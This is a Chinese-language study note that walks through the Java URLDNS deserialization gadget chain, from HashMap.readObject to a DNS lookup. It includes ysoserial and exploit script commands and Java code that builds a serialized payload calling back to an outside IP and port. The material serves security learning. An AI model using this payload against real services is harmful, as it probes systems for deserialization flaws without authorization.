利用流程
可通过java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://host" > payload.bin
生成payload
测试 : python exploit_deserlab.py [host] [port] payload.bin
执行反序列化函数readObject()的最后会执行函数hash(key)
hash()函数调用了key.hashCode()
所以可以构造反序列化链:
HashMap.readObject()
HashMap.hash(key)
HashMap.key.hashCode()
将key改为URL对象
URL.hashCode()
URL.handler.hashCode() //向url发出请求
readObject()触发hash()函数
hash()函数触发key.hashCode()
URL类的hashCode函数
handler.hashCode()
handler属于URLStreamHandler类,调用URLStreamHandler.hashCode()函数,触发URLStreamHandler.getHostAddress()
URLStreamHandler.getHostAddress()
u为原本的url对象,调用u.getHostAddress()函数,回到URL.java类中调用URL.getHostAddress()函数
host为URL初始化时传入的参数分析确定,反序列化读取得到
最终触发URL.InetAddress.getByName(host)函数,向host发出请求
要解决的问题
从源码可知,当URL对象的hashCode参数不等于-1时,会直接return而不调用handler.hashCode()
所以在反序列化之前要修改hashmap中url(即key)对象的hashCode
使用反射修改:
//使用反射的方法修改url对象的hashCode
Class u = url.getClass();
Field hashcodefield = u.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,-1);
Field hostfield = u.getDeclaredField("host");
其他入口
HashMap的 put
方法也会触发key.hashCode()回到上面链子的开端
Code
//import com.sun.jndi.dns.DnsUrl;
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
public class test {
public static void serialize(HashMap object) throws IOException {
String file = "D:\\Code\\java\\URLDNS\\src\\main\\java\\data.bin";
FileOutputStream fileout = new FileOutputStream(file);
ObjectOutputStream objectout = new ObjectOutputStream(fileout);
objectout.writeObject(object);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
FileInputStream filein = new FileInputStream(file);
ObjectInputStream objectin = new ObjectInputStream(filein);
Object obj = objectin.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
// InetAddress byName = InetAddress.getByName("http://47.99.70.18"); //测试是否能够使用InetAddress.getByName发出请求
URL url = new URL("http://47.99.70.18:4444");
//使用反射的方法修改url对象的hashCode
Class u = url.getClass();
Field hashcodefield = u.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,-1);
//获取HashMap实例
HashMap hashmap = new HashMap();
hashmap.put(url,1);
//序列化写入文件
serialize(hashmap);
//反序列化
HashMap h = (HashMap) unserialize("D:\\Code\\java\\URLDNS\\src\\main\\java\\payload.bin");
}
}